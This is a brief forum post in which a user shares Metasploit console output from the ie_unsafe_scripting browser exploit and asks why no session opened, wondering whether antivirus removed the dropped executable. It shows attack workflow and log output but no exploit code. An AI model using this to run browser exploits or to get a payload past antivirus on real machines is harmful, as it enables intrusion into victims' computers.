Guys i get this output and when i type sessions i get "no active sessions".You think it was removed by Antivirus or OS its not compatible?!

[*] Request received from[*] Encoding payload into vbs/javascript/html...[*] Sending exploit html/javascript to[*] Exe will be etMCE.exe and must be manually removed from the %TEMP% directory on the target.[*] Sending stage (752128 bytes) to  (i dont know what ip is this )
Active sessions
No active sessions.
msf  exploit(ie_unsafe_scripting) >